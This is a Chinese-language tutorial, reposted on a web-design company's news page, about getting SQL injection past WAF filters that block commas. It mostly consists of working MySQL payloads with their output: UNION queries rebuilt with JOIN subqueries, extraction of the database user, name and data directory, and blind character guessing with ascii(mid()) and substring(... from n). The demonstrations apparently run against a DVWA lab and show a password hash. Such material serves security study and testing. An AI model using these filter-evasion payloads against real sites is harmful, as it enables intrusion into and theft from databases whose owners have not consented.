建站
咨詢
售后
建站咨詢
新聞中心
小編給大家分享一下SQL注入技巧之顯注與盲注中過濾逗號繞過的示例分析，相信大部分人都還不怎么了解，因此分享這篇文章給大家參考一下，希望大家閱讀完這篇文章后大有收獲，下面讓我們一起去了解一下吧！
成都創(chuàng)新互聯(lián)公司是一家集網(wǎng)站建設(shè),銀川企業(yè)網(wǎng)站建設(shè),銀川品牌網(wǎng)站建設(shè),網(wǎng)站定制,銀川網(wǎng)站建設(shè)報價,網(wǎng)絡(luò)營銷,網(wǎng)絡(luò)優(yōu)化,銀川網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè)，幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強企業(yè)競爭力。可充分滿足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時我們時刻保持專業(yè)、時尚、前沿，時刻以成就客戶成長自我，堅持不斷學(xué)習(xí)、思考、沉淀、凈化自己，讓我們?yōu)楦嗟钠髽I(yè)打造出實用型網(wǎng)站。
1.聯(lián)合查詢顯注繞過逗號
在聯(lián)合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位，語句中包含了多個逗號，如果有WAF攔截了逗號時，我們的聯(lián)合查詢不能用了。
繞過
在顯示位上替換為常見的注入變量或其它語句
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C）; union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在數(shù)據(jù)庫中演示聯(lián)合查詢
UNION開始是我們在URL中注入的語句，這里只是演示，在實際中如果我們在注入語句中有逗號就可能被攔截
MySQL> select user_id,user,password from users union select 1,2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出現(xiàn)逗號，使用Join來注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查詢我們想要的數(shù)據(jù)
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗號繞過
MID 和substr 函數(shù)用于從文本字段中提取字符
mysql> select mid(user(),1,2); +-----------------+ | mid(user(),1,2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查詢數(shù)據(jù)庫用戶名第一個字符的ascii碼
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注，通過猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ; Empty set mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗號繞過SUBTTRING 函數(shù)
substring(str FROM pos)
從字符串str的起始位置pos 返回一個子串
mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)為o //o的ascii為111， mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
以上是“SQL注入技巧之顯注與盲注中過濾逗號繞過的示例分析”這篇文章的所有內(nèi)容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內(nèi)容對大家有所幫助，如果還想學(xué)習(xí)更多知識，歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道！
本文題目：SQL注入技巧之顯注與盲注中過濾逗號繞過的示例分析
轉(zhuǎn)載源于：http://www.ef60e0e.cn/article/ghgehh.html
